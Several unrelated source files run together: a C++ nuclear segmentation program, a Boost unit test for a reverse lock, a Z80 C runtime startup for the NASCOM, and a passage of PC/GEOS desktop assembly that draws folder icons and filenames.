/* * Copyright 2009 Rensselaer Polytechnic Institute * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include "nuclear_segmentation/yousef_core/yousef_seg.h" #include "nuclear_segmentation/gui/nuclei.h" #include <iostream> using namespace std; int main(unsigned int argc, char* argv[]) { if(argc < 3) { std::cout<<"Usage: nucseg2 <InputImageFileName> <ParametersFileName>\n"; return 0; } FTKAbstractSegmentation *segmentation = new nuclei(); segmentation->setup(argv[1], argv[2]); segmentation->executeModule(0); segmentation->executeModule(1); segmentation->executeModule(2); segmentation->save(); segmentation->generateXML(); segmentation->initMetaNeural(); delete segmentation; return 1; }
// Copyright (c) 2015 The Bitcoin Core developers // Copyright (c) 2017 The GALR developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "reverselock.h" #include <boost/bind.hpp> #include <boost/random/mersenne_twister.hpp> #include <boost/random/uniform_int_distribution.hpp> #include <boost/thread.hpp> #include <boost/test/unit_test.hpp> BOOST_AUTO_TEST_SUITE(reverselock_tests) BOOST_AUTO_TEST_CASE(reverselock_basics) { boost::mutex mutex; boost::unique_lock<boost::mutex> lock(mutex); BOOST_CHECK(lock.owns_lock()); { reverse_lock<boost::unique_lock<boost::mutex> > rlock(lock); BOOST_CHECK(!lock.owns_lock()); } BOOST_CHECK(lock.owns_lock()); } BOOST_AUTO_TEST_CASE(reverselock_errors) { boost::mutex mutex; boost::unique_lock<boost::mutex> lock(mutex); // Make sure trying to reverse lock an unlocked lock fails lock.unlock(); BOOST_CHECK(!lock.owns_lock()); bool failed = false; try { reverse_lock<boost::unique_lock<boost::mutex> > rlock(lock); } catch(...) { failed = true; } BOOST_CHECK(failed); BOOST_CHECK(!lock.owns_lock()); // Locking the original lock after it has been taken by a reverse lock // makes no sense. Ensure that the original lock no longer owns the lock // after giving it to a reverse one. lock.lock(); BOOST_CHECK(lock.owns_lock()); { reverse_lock<boost::unique_lock<boost::mutex> > rlock(lock); BOOST_CHECK(!lock.owns_lock()); } BOOST_CHECK(failed); BOOST_CHECK(lock.owns_lock()); } BOOST_AUTO_TEST_SUITE_END()
; CRT0 for the NASCOM1/2 ; ; Stefano Bodrato May 2003 ; ; ; - - - - - - - ; ; $Id: nascom_crt0.asm,v 1.23 2016-08-05 07:04:09 stefano Exp $ ; ; - - - - - - - MODULE nascom_crt0 ;------- ; Include zcc_opt.def to find out information about us ;------- defc crt0 = 1 INCLUDE "zcc_opt.def" ;------- ; Some general scope declarations ;------- EXTERN _main ;main() is always external to crt0 code PUBLIC cleanup ;jp'd to by exit() PUBLIC l_dcal ;jp(hl) PUBLIC montest ;NASCOM: check the monitor type defc CONSOLE_ROWS = 16 defc CONSOLE_COLUMNS = 48 IF !DEFINED_CRT_ORG_CODE defc CRT_ORG_CODE = 1000h ENDIF defc TAR__no_ansifont = 1 defc TAR__fputc_cons_generic = 1 defc TAR__clib_exit_stack_size = 32 defc TAR__register_sp = 0xe000 defc __CPU_CLOCK = 2000000 INCLUDE "crt/classic/crt_rules.inc" org CRT_ORG_CODE ; NASSYS1..NASSYS3 ; IF (startup=1) | (startup=2) | (startup=3) ; ; ; ENDIF start: ld (start1+1),sp ;Save entry stack INCLUDE "crt/classic/crt_init_sp.asm" INCLUDE "crt/classic/crt_init_atexit.asm" call crt0_init_bss ld (exitsp),sp ; Optional definition for auto MALLOC init ; it assumes we have free space between the end of ; the compiled program and the stack pointer IF DEFINED_USING_amalloc INCLUDE "crt/classic/crt_init_amalloc.asm" ENDIF call _main ;Call user program cleanup: ; ; Deallocate memory which has been allocated here! ; push hl IF CRT_ENABLE_STDIO = 1 EXTERN closeall call closeall ENDIF pop bc start1: ld sp,0 ;Restore stack to entry value rst 18h defb 5bh ;ret l_dcal: jp (hl) ;Used for function pointer calls ;------------------------------------ ; Check which monitor we have in ROM ;------------------------------------ montest: ld a,(1) ; "T" monitor or NAS-SYS? cp 33h ; 31 00 10 / 31 33 0C ret defm "Small C+ NASCOM" ;Unnecessary file signature defb 0 INCLUDE "crt/classic/crt_runtime_selection.asm" INCLUDE "crt/classic/crt_section.asm"
COMMENT @---------------------------------------------------------------------- Copyright (c) GeoWorks 1988 -- All Rights Reserved PROJECT: PC GEOS MODULE: Desktop/Folder FILE: folderDisplay.asm AUTHOR: Brian Chin ROUTINES: INT DrawFolderObjectIcon - draw one object in folder window INT DrawFullFileDetail - draw long version of file info INT BuldDisplayList - build list of files to be displayed INT SortFolderBuffer - sort files in folder buffer INT CompareSortFields - compare two entries in folder buffer INT BuildListPass - low-level routine to build display list INT CheckFileInList - check if file should be in display list INT CheckFileTypes - check file types to be included in display list INT CheckFileAttrs - check file attributes to be included INT PrintFolderInfoString - print folder size information INT BuildBoundsFolderObjectIcon - build display bounds of one object in folder window REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 8/89 Initial version DESCRIPTION: This file contains routines to display the contents of a folder object. $Id: cfolderDisplay.asm,v 1.3 98/06/03 13:32:36 joon Exp $ ------------------------------------------------------------------------------@ FolderCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DrawFolderObjectIcon %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: draws the icon/name for a folder object CALLED BY: INTERNAL FolderDraw PASS: es:di - pointer to entry in folder buffer for this object *ds:si - FolderClass object bp - gState to draw with (font and pt-size set correctly) ax = mask DFI_CLEAR to clear mask DFI_DRAW to draw mask DFI_INVERT to invert (to show selection) mask DFI_GREY to grey (to show file operation progress) legal modes: cannot have both DRAW and INVERT RETURN: cx, dx, ds, es, si, bp, di unchanged DESTROYED: ax, bx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 7/25/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DrawFolderObjectIcon proc far class FolderClass uses si, cx, dx .enter EC < test ax, not DrawFolderObjectIconFlags > EC < ERROR_NZ BAD_DRAW_FOLDER_OBJECT_ICON_FLAGS > EC < test ax, mask DFI_DRAW > EC < jz good > EC < test ax, mask DFI_INVERT > EC < ERROR_NZ BAD_DRAW_FOLDER_OBJECT_ICON_FLAGS > EC <good: > test ax, mask DFI_GREY ; greying? jz 5$ ; no ; else, clear and draw first ornf ax, mask DFI_CLEAR or mask DFI_DRAW 5$: DerefFolderObject ds, si, bx xchg di, bp ; di = gState, bp = entry mov dh, ds:[bx].FOI_displayMode ; load up for DrawIconModeIcon test ax, mask DFI_CLEAR ; clearing? jz afterClear ; no if _NEWDESK call CheckBWOrTextModes ; don't clear if color icons jnz afterClear endif call ClearFolderObjectIcon ; else, clear file afterClear: test ax, mask DFI_DRAW ; drawing? jz afterDraw ; no if ICON_INVERT_PRESERVES_COLOR ;--------------------------------------------- call CheckBWOrTextModes je normalDraw ; ; color icon mode, special draw/invert handling ; test ds:[bx].FOI_folderState, mask FOS_TARGET ; target? jz noColorIconDraw ; no, can't invert test es:[bp].FR_state, mask FRSF_SELECTED jnz colorIconDraw noColorIconDraw: call DrawFolderObjectIconLow ; else, draw file jmp short afterInvert ; branch back into place colorIconDraw: call InvertColorIconFolderObject ; draw and invert jmp short afterInvert ; branch back into place normalDraw: ; ; mono or text mode, normal draw/invert handling ; endif ;-------------------------------------------------------------------- call DrawFolderObjectIconLow ; else, draw file jnz invert ; Z clear if inversion needed afterDraw: test ax, mask DFI_INVERT ; inverting? jz afterInvert ; no invert: test ds:[bx].FOI_folderState, mask FOS_TARGET ; target? jz afterInvert ; no, can't invert if ICON_INVERT_PRESERVES_COLOR ;--------------------------------------------- call InvertPreserveColor ; else, invert file else ;--------------------------------------------------------------------- call InvertFolderObjectIcon ; else, invert file endif ;--------------------------------------------------------------------- afterInvert: test ax, mask DFI_GREY ; greying? jz afterGrey ; no call GreyFolderObjectIcon ; else, grey out file afterGrey: xchg di, bp ; di = entry, bp = gState .leave ret DrawFolderObjectIcon endp if ICON_INVERT_PRESERVES_COLOR ;--------------------------------------------- InvertPreserveColor proc near class FolderClass call CheckBWOrTextModes je normalInvert ; ; color icon mode, special invert handling ; call InvertColorIconFolderObject ; draw and invert jmp short done normalInvert: call InvertFolderObjectIcon ; else, invert file done: ret InvertPreserveColor endp ; ; pass: *ds:si = FolderInstance ; return: Z set if b/w or text modes ; CheckBWOrTextModes proc near class FolderClass uses bx, cx .enter ; ; if mono or text mode, do normal draw/invert handling ; if color icon mode, do special draw/invert handling ; mov cl, ss:[desktopDisplayType] andnf cl, mask DT_DISP_CLASS cmp cl, DC_GRAY_1 shl offset DT_DISP_CLASS je done DerefFolderObject ds, si, bx test ds:[bx].FOI_displayMode, mask FIDM_LICON or mask FIDM_SICON done: .leave ret ; Z set if text modes CheckBWOrTextModes endp endif ;--------------------------------------------------------------------- COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DrawFolderObjectIconLow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Low-level routine to actually do the drawing CALLED BY: DrawFolderObjectIcon PASS: es:bp - FolderRecord *ds:si - FolderClass object di - gstate handle RETURN: ZERO FLAG CLEAR - if we should invert the current file. DESTROYED: cx,dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 7/13/92 added header %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DrawFolderObjectIconLow proc near class FolderClass uses ax, bx .enter if OPEN_CLOSE_NOTIFICATION test es:[bp].FR_state, mask FRSF_OPENED jz afterPattern call DrawOpenPattern afterPattern: endif xchg di, bp ; Always determine the token call InitFileHeaderToken ; for the thing, since we may xchg di, bp ; need the creator token later ; ; Get the display mode & decide whether to draw the icon, or ; just name & details. ; DerefFolderObject ds, si, bx mov dh, ds:[bx].FOI_displayMode ; dh = display mode test dh, mask FIDM_FULL jnz fullFileDetails ; ; It's names only or icon mode -- so draw the name first. ; DrawFolderObjectName returns the name vertical position in ; BX, which trashes the instance data ptr, so preserve it... ; push bx call DrawFolderObjectName pop bx drawIcon: mov dl, ds:[bx].FOI_displayType call DrawIconModeIcon jmp selectTest fullFileDetails: push bx ; save FOI_ call DrawFullFileDetail pop bx ; ds:bx = FOI_ jmp short drawIcon selectTest: ; ; See if this object is selected, and if so, return Z clear ; test es:[bp].FR_state, mask FRSF_SELECTED .leave ret DrawFolderObjectIconLow endp if OPEN_CLOSE_NOTIFICATION COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DrawOpenPattern %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Draw a pattern to show that this file is open CALLED BY: DrawFolderObjectIconLow PASS: *ds:si - FolderInstance es:bp - FolderRecord di - gstate handle RETURN: nothing DESTROYED: ax,bx,cx,dx PSEUDO CODE/STRATEGY: Rectangle is (boundBox.top, boundBox.left, boundBox.right, iconBounds.bottom) KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 7/13/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DrawOpenPattern proc near .enter mov al, MM_COPY call GrSetMixMode mov ax, SDM_DIAG_NE call GrSetAreaMask mov ax, C_BLACK or (CF_INDEX shl 8) if ICON_INVERT_PRESERVES_COLOR ;--------------------------------------------- call CheckBWOrTextModes je haveColor ; if b/w or text, use black test es:[bp].FR_state, mask FRSF_SELECTED jz haveColor ; if not selected, use black mov ax, C_WHITE or (CF_INDEX shl 8) ; else is selected, use white haveColor: endif ;--------------------------------------------------------------------- call GrSetAreaColor call RectFolderObjectIconIconBox mov ax, SDM_100 call GrSetAreaMask if ICON_INVERT_PRESERVES_COLOR ;--------------------------------------------- ; ; in case we set it to C_WHITE ; mov ax, C_BLACK or (CF_INDEX shl 8) call GrSetAreaColor endif ;--------------------------------------------------------------------- .leave ret DrawOpenPattern endp endif ; OPEN_CLOSE_NOTIFICATION COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DrawFolderObjectName %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: draw name, clipping if needed CALLED BY: INTERNAL DrawFolderObjectIconLow PASS: *ds:si - FolderClass object es:bp = file entry in folder buffer di = gstate RETURN: bx - vertical position of name DESTROYED: ax, cx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 01/02/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DrawFolderObjectName proc near class FolderClass uses ds, si, dx, bp .enter if ICON_INVERT_MASK test ss:[desktopFeatures], mask DF_SHOW_LINKS jz notLink test es:[bp].FR_fileAttrs, mask FA_LINK jz notLink mov ax, C_BLUE call checkLightColor jc haveColor mov ax, C_LIGHT_BLUE jmp short haveColor notLink: mov ax, C_BLACK call checkLightColor jc haveColor mov ax, C_WHITE haveColor: call GrSetTextColor else test ss:[desktopFeatures], mask DF_SHOW_LINKS jz afterColor test es:[bp].FR_fileAttrs, mask FA_LINK jz afterColor mov ax, C_BLUE call GrSetTextColor afterColor: endif test ss:[desktopFeatures], mask DF_SHOW_REMOTE jz textStyleSet test es:[bp].FR_pathInfo, mask DPI_ENTRY_NUMBER_IN_PATH jz textStyleSet mov ax, mask TS_UNDERLINE ; set underline call GrSetTextStyle textStyleSet: ; di = GState handle call FolderSetBackgroundFillPattern jc skipFill call RectFolderObjectIconNameBox ; wash out name area mov ax, C_BLACK or (CF_INDEX shl 8) call GrSetAreaColor skipFill: ; ; Load the name bounds in case we skipped the fill ; call LoadNameBounds if ICON_INVERT_MASK add ax, ICON_BOX_X_MARGIN endif ; ; set up correct values for file drawing box width and box height ; call SetFileBoxWidthHeight ; ; Based on the display mode, fetch the proper max width ; push bx DerefFolderObject ds, si, bx mov cl, ds:[bx].FOI_displayMode ; cl = display mode pop bx mov dx, ss:[largeIconBoxWidth] test cl, mask FIDM_LICON jnz gotMaxWidth mov dx, ss:[shortTextBoxWidth] sub dx, TEXT_ICON_WIDTH + TEXT_ICON_HORIZ_SPACING test cl, mask FIDM_SHORT jnz gotMaxWidth mov dx, ss:[longTextNameWidth] if GPC_NAMES_AND_DETAILS_TITLES ; ; adjust for the icon ; sub dx, TEXT_ICON_WIDTH + TEXT_ICON_HORIZ_SPACING + 1 endif test cl, mask FIDM_FULL if _ZMGR and SEPARATE_NAMES_AND_DETAILS jz notFull test cl, mask FIDM_FULL_DATES jnz gotMaxWidth mov dx, ZMGR_FULL_DATES_RIGHT_BOUND ; dx = right bound sub dx, ax ; dx = max area width sub dx, ss:[widestFileSize] ; dx = max name width jmp short gotMaxWidth notFull: else jnz gotMaxWidth endif mov dx, ss:[smallIconBoxWidth] sub dx, SMALL_ICON_WIDTH + SMALL_ICON_HORIZ_SPACING EC < test cl, mask FIDM_SICON > EC < ERROR_Z DESKTOP_FATAL_ERROR > gotMaxWidth: mov cx, dx ; max width call GetFolderObjectName ; ds:si = filename if WRAP test es:[bp].FR_state, mask FRSF_WORD_WRAP jz dontWrap call WordWrapFilename jmp afterName dontWrap: endif mov dx, es:[bp].FR_nameWidth call DrawFilenameAndClipIfNecessary afterName:: mov ax, (mask TS_UNDERLINE) shl 8 ; clear underline call GrSetTextStyle test ss:[desktopFeatures], mask DF_SHOW_LINKS jz done mov ax, C_BLACK call GrSetTextColor done: .leave ret if ICON_INVERT_MASK checkLightColor label near push ax, bx, si mov si, WIT_COLOR call WinGetInfo test ah, mask WCF_RGB jnz haveRGB ; ; if an index color, map to RGB and fall through ; haveIndex:: push di clr di ;di <- default mapping mov_tr ah, al ;ah <- index color call GrMapColorIndex pop di ; ; magic formula for RGB: 2*R + 4*G + 1*B > (7/2)*255 is light ; (al = R, bl = G, bh = B) ; haveRGB: clr ah shl al, 1 ; ax = 2R add al, bh adc ah, 0 ; ax = 2R + B clr bh shl bx, 2 ; bx = 4G add ax, bx ; ax = 2R + B + 4G mov bx, (255*7)/2 sub bx, ax ; C set if > (255*7)/2 haveLightColor: pop ax, bx, si retn endif DrawFolderObjectName endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DrawFilenameAndClipIfNecessary %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Draw the filename, making sure to clip if it's longer than it should be. CALLED BY: DrawFolderObjectName, WordWrapFilename PASS: ds:si - name cx - maximum width dx - width of name (ax, bx) - position at which to draw di - gstate handle RETURN: bx - vertical position of name DESTROYED: ax,cx,dx,si,di,ds,bp PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 3/19/93 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DrawFilenameAndClipIfNecessary proc near .enter ; ; Skip leading spaces ; call FolderNameSkipLeadingSpace ; ; if the filename is less than the max allowed, then no need ; to clip ; cmp cx, dx jge wideEnough mov bp, cx ; bp = max width sub bp, ss:[ellipsesWidth] ; bp = max. name width clr cx ; ; We're not doing word wrap, so draw as many characters on this ; line as we can, and then truncate and draw ellipses ; (ax, bx) = position to draw fitLoop: ; ; Keep increasing the number of chars until we run out of room... ; inc cx EC < cmp cx, size FileLongName > EC < ERROR_A DESKTOP_FATAL_ERROR > call GrTextWidth ; dx = width ; of this part cmp dx, bp jbe fitLoop ; ; We've run out of room. Remove the last character, and draw ; the name with the ellipses ; dec cx call GrDrawText NOFXIP< segmov ds, cs, si > FXIP < mov si, bx > FXIP < GetResourceSegmentNS dgroup, ds, TRASH_BX > FXIP < mov bx, si > mov si, offset ellipsesString ; ds:si = "..." mov cx, length ellipsesString call GrDrawTextAtCP jmp done wideEnough: mov cx, FILE_LONGNAME_LENGTH call GrDrawText ; draw name done: .leave ret DrawFilenameAndClipIfNecessary endp if _FXIP idata segment endif LocalDefNLString ellipsesString <"..."> if _FXIP idata ends endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FolderNameSkipLeadingSpace %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: If the first character in the passed string is a space character, then skip it. CALLED BY: DrawFilenameAndClipIfNecessary, FolderGetTextWidth PASS: ds:si - filename (or a portion thereof) RETURN: ds:si - points to filename AFTER leading blanks DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 4/19/94 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FolderNameSkipLeadingSpace proc near uses ax .enter SBCS < clr ah > LocalGetChar ax, dssi, noAdvance LocalIsNull ax jz done call LocalIsSpace jz done LocalNextChar dssi done: .leave ret FolderNameSkipLeadingSpace endp if WRAP COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% WordWrapFilename %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Display the filename on two lines CALLED BY: DrawFolderObjectName PASS: es:bp - FolderRecord ds = es si = bp bx - vertical position at which to draw di - gstate handle cx - max width RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 3/19/93 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ WordWrapFilename proc near uses ax,bx,cx,dx,di,si .enter ; ; First, draw line 1. We know for certain that no clipping is ; necessary, so... ; push cx ; max width mov ax, es:[bp].FR_line1Pos mov cx, es:[bp].FR_line1NumChars call FolderNameSkipLeadingSpace call GrDrawText ; ; Now, draw the remainder, clipping rather than going to ; a third line. ; add si, es:[bp].FR_line1NumChars DBCS < add si, es:[bp].FR_line1NumChars > clr cx call FolderGetTextWidth add bx, ss:[desktopFontHeight] mov ax, es:[bp].FR_line2Pos pop cx ; max allowed width call DrawFilenameAndClipIfNecessary .leave ret WordWrapFilename endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DrawIconModeIcon %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: special routine to draw icon from token database CALLED BY: INTERNAL DrawFolderObjectIconLow PASS: es:bp - entry for this file in folder buffer *ds:si - FolderClass object dl - DisplayType for this Folder Window dh - display mode for this Folder Window (FIDM_LICON or FIDM_SICON) GPC_* < (also FIDM_SHORT or FIDM_FULL) > di - GState to draw with RETURN: icon drawn DESTROYED: ax, cx, dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 11/21/89 Initial version dlitwin 7/28/94 Removed token item and group # caching %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DrawIconModeIcon proc near uses bx, bp mov ax, bp ; preserve entry offset gState local word push di ; save gState for later displayType local byte displayMode local byte .enter ForceRef gState mov di, ax ; es:di = entry mov displayType, dl ; save DisplayType for later mov displayMode, dh ; save display mode for later ; ; Special template drawing disabled -3/93 ; test es:[di].FR_fileFlags, mask GFHF_TEMPLATE ; jz drawNormalIcon ; call FolderDrawTemplateIcon ; draws background, ; ; and sets small ;drawNormalIcon: ; mode (i.e. use tool icon)... ; ; lookup token in token database ; mov ax, {word}es:[di].FR_token.GT_chars[0] tst al ; null-token, don't bother jz noIcon ; looking up mov bx, {word}es:[di].FR_token.GT_chars[2] ornf es:[di].FR_state, cx ; flag lookup attempt xchg dh, dl ; dh = DisplayType push si mov si, es:[di].FR_token.GT_manufID if _NEWDESK cmp ax, 'nd' jne haveToken cmp bx, 'WB' jne haveToken cmp si, MANUFACTURER_ID_GEOWORKS jne haveToken cmp ss:[wastebasketEmpty], BB_TRUE je haveToken mov bx, 'WF' ; use full wastebasket icon haveToken: endif tokenCommon:: call FolderTokenLookupMoniker ; cx:dx = moniker ID pop si ; ax <- shared/local ; token DB file flag jnc lookupGood ; if found, check for gstring ; ; lookup failed, if GEOS file, try calling application to install ; its token; if non-GEOS file, use default icon ; noIcon: test es:[di].FR_geodeAttrs, mask GA_APPLICATION jz useDefaultIcon ; not app, so use default if _WRITABLE_TOKEN_DATABASE call CallApplToGetMoniker ; attempt launching appl to ; install moniker list else stc endif jc useDefaultIcon ; if not possible, use default ; ; token installation SEEMS successful, try to lookup moniker again ; ax:bx:si = GeodeToken ; mov dh, displayType mov dl, displayMode push si mov si, es:[di].FR_token.GT_manufID call FolderTokenLookupMoniker pop si jc useDefaultIcon ; use default if we fail ; ; lookup successful, save icon for next time ; first check if moniker found is really a gstring, if not use defaults ; lookupGood: push ds, si call TokenLockTokenMoniker ; ds:*bx = moniker mov si, ds:[bx] ; deref. moniker push ds:[si].VM_width test ds:[si].VM_type, mask VMT_GSTRING pushf call TokenUnlockTokenMoniker popf pop bx ; bx <- moniker width pop ds, si jz useDefaultIcon ; not gstring, use default icon test displayMode, mask FIDM_LICON ; large icon mode? jnz confirmIconIsLarge cmp bx, SMALL_ICON_WIDTH jg noIcon jmp drawIcon confirmIconIsLarge: cmp bx, SMALL_ICON_WIDTH jg drawIcon ; ; if the default fails, skip drawing in non-ec ; useDefaultIcon: mov dl, displayMode mov dh, displayType call FolderGetDefaultIcon jc errExit drawIcon: call DrawIconModeIconLow exit: .leave ret errExit: mov di, gState jmp short exit DrawIconModeIcon endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FolderGetDefaultIcon %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: low level routine to draw icon from token database CALLED BY: INTERNAL - DrawIconModeIcon PASS: es:[di] - FolderRecord of file to draw GPC < dl - FIDM_ > RETURN: carry - set on error - clear for success cx = default group of icon dx = default item of icon ax = shared/local token DB file flag DESTROYED: bx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dlitwin 7/27/94 Initial revision %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FolderGetDefaultIcon proc near uses si .enter ; ; All of the default tokens have the Geoworks Manufacturers ID ; mov si, MANUFACTURER_ID_GEOWORKS ; ; assume a default DOS document ; movdw bxax, cs:[defaultDOSDataIconChars] cmp es:[di].FR_fileType, GFT_NOT_GEOS_FILE je gotChars ; ; its a GEOS file, assume data ; movdw bxax, cs:[defaultGEOSDataIconChars] cmp es:[di].FR_fileType, GFT_EXECUTABLE jne gotChars movdw bxax, cs:[defaultGEOSApplIconChars] ; ; if looking up the token fails, error in EC. I'm using the ; CANT_FIND_FILE_MONIKER because it exists. Maybe its not ; exactly the 'file' moniker that couldn't be found, but hey, ; close enough. ; gotChars: push dx ; save display mode (dl) call FolderTokenLookupMoniker pop bx ; bl = display mode jc gotIconResult test bl, mask FIDM_LICON ; large icon mode? pushf push ds, si call TokenLockTokenMoniker mov si, ds:[bx] mov bx, ds:[si].VM_width call TokenUnlockTokenMoniker pop ds, si popf jnz confirmIconIsLarge cmp bx, SMALL_ICON_WIDTH jbe goodIcon badIcon: stc jmp gotIconResult confirmIconIsLarge: cmp bx, SMALL_ICON_WIDTH jbe badIcon goodIcon: clc gotIconResult: .leave ret FolderGetDefaultIcon endp if 1 ;_NEWDESK defaultDOSDataIconChars dword "nDOS" defaultGEOSDataIconChars dword "nDAT" defaultGEOSApplIconChars dword "nAPP" else defaultDOSDataIconChars dword "gDOS" defaultGEOSDataIconChars dword "gDAT" defaultGEOSApplIconChars dword "gAPP" endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DrawIconModeIconLow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: low level routine to draw icon from token database CALLED BY: INTERNAL DrawFolderObjectIcon PASS: ax = shared/local token DB file flag cx:dx = group/item of a specific moniker es:di = entry for this file in folder buffer ss:bp = stack frame inherited from DrawIconModeLow RETURN: di = gState icon drawn DESTROYED: bx, cx, dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- martin 8/3/92 pulled out of DrawIconModeIcon %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DrawIconModeIconLow proc near uses ds, si .enter inherit DrawIconModeIcon ; ; draw icon ; push ax ; save shared/local ; token db flag call TokenLockTokenMoniker ; ds:bx = seg:chunk of moniker mov si, ds:[bx] ; ds:si = moniker EC < test ds:[si].VM_type, mask VMT_GSTRING ; gstring? > EC < jz notIconic > ; ; figure out where to put the icon within the icon box ; relevant if moniker is sized bogus-ly ; mov ax, LARGE_ICON_HEIGHT ; icon box height call FolderCodeCheckIfCGA jnc notCGA sub ax, CGA_ICON_HEIGHT_DIFFERENCE notCGA: ; use same spacing for small and large icon modes... ; ; test displayMode, mask FIDM_LICON ; jnz 55$ ; mov ax, SMALL_ICON_HEIGHT ;55$: test displayMode, mask FIDM_LICON jnz 56$ mov ax, 